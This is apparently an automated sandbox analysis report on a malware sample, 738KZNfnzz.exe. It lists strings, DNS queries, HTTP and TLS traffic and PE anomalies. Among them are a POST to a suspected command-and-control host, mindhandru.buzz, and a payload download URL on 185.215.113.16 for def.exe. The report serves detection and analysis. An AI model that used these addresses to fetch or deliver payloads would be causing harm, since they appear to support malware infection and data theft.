Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: 738KZNfnzz.exe, 00000000.00000003.2432591467.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470696289.00000000010B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 738KZNfnzz.exe, 00000000.00000003.2432591467.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470696289.00000000010B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/&
Source: 738KZNfnzz.exe, 00000000.00000002.2560166113.000000000104A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 738KZNfnzz.exe, 00000000.00000002.2558018386.00000000006FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: 738KZNfnzz.exe, 00000000.00000002.2560166113.000000000104A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exer
Source: 738KZNfnzz.exe, 00000000.00000002.2560166113.000000000104A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exergv
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_106.7.dr	String found in binary or memory: http://schema.org/Organization
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 738KZNfnzz.exe, 00000000.00000003.2234566547.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_106.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_106.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_106.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_106.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: 738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: 738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_106.7.dr	String found in binary or memory: https://github.com/nschonni
Source: 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_106.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: 738KZNfnzz.exe, 00000000.00000003.2433309193.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2234047448.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2210817142.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257812991.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470724164.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: 738KZNfnzz.exe, 00000000.00000003.2283568663.00000000053C1000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284387615.00000000053C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/0Z
Source: 738KZNfnzz.exe, 00000000.00000003.2432591467.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470696289.00000000010B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/HX
Source: 738KZNfnzz.exe, 00000000.00000003.2210817142.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470696289.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2304690853.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2557821260.00000000010B2000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2283040084.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2261927673.00000000010B0000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000002.2560166113.00000000010B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: 738KZNfnzz.exe, 00000000.00000003.2233926754.00000000053CD000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2234339980.00000000053D2000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2234078958.00000000053D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apis
Source: 738KZNfnzz.exe, 00000000.00000003.2433309193.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470724164.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/c
Source: 738KZNfnzz.exe, 00000000.00000003.2283587904.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2433309193.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284408957.00000000010AA000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2470724164.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/d
Source: 738KZNfnzz.exe, 00000000.00000003.2283587904.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284408957.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ds
Source: 738KZNfnzz.exe, 00000000.00000003.2283587904.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2284408957.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/msS
Source: 738KZNfnzz.exe, 00000000.00000003.2233926754.00000000053CD000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2210817142.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2211032942.00000000053C7000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2211700899.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_86.7.dr	String found in binary or memory: https://schema.org
Source: 738KZNfnzz.exe, 00000000.00000003.2235595398.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 738KZNfnzz.exe, 00000000.00000003.2235595398.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_86.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: 738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 738KZNfnzz.exe, 00000000.00000003.2180615219.000000000540F000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2181517080.000000000540D000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2180674597.000000000540D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_108.7.dr, chromecache_86.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: 738KZNfnzz.exe, 00000000.00000003.2235517462.00000000053F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 738KZNfnzz.exe, 00000000.00000003.2235517462.00000000053F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 738KZNfnzz.exe, 00000000.00000003.2235595398.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 738KZNfnzz.exe, 00000000.00000003.2235595398.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 738KZNfnzz.exe, 00000000.00000003.2235595398.00000000054E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 738KZNfnzz.exe, 00000000.00000003.2257841764.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 738KZNfnzz.exe, 00000000.00000003.2257744923.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50060 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 738KZNfnzz.exe	Static PE information: section name:
Source: 738KZNfnzz.exe	Static PE information: section name: .rsrc
Source: 738KZNfnzz.exe	Static PE information: section name: .idata

Source: 738KZNfnzz.exe, 00000000.00000003.2401377051.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2401073599.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2408744138.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2396797147.00000000059F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2408993018.00000000059A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2395755893.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2398938576.000000000586A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2403165842.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2411466860.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2400134044.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2401544420.000000000596B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2402847841.0000000005872000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2397924075.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2397128689.000000000586E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2409666746.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2411170847.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2400793500.000000000586A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2398172951.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
Source: 738KZNfnzz.exe, 00000000.00000003.2396365802.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 738KZNfnzz.exe
